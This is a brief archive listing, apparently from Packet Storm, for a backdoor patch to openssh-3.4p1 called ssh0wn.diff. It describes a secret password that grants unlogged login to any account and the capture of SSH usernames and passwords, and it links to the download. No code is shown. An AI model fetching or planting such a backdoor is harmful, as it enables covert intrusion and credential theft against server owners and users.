Patch for openssh-3.4p1 that will grant login access to any user with the “secret” pass and that user will not be logged. It will also capture usernames and passwords on outbound and inbound ssh connections.
You can download it from the following link: https://packetstormsecurity.com/files/download/26521/ssh0wn.diff
Source: https://packetstormsecurity.com/files/26521/ssh0wn.diff.html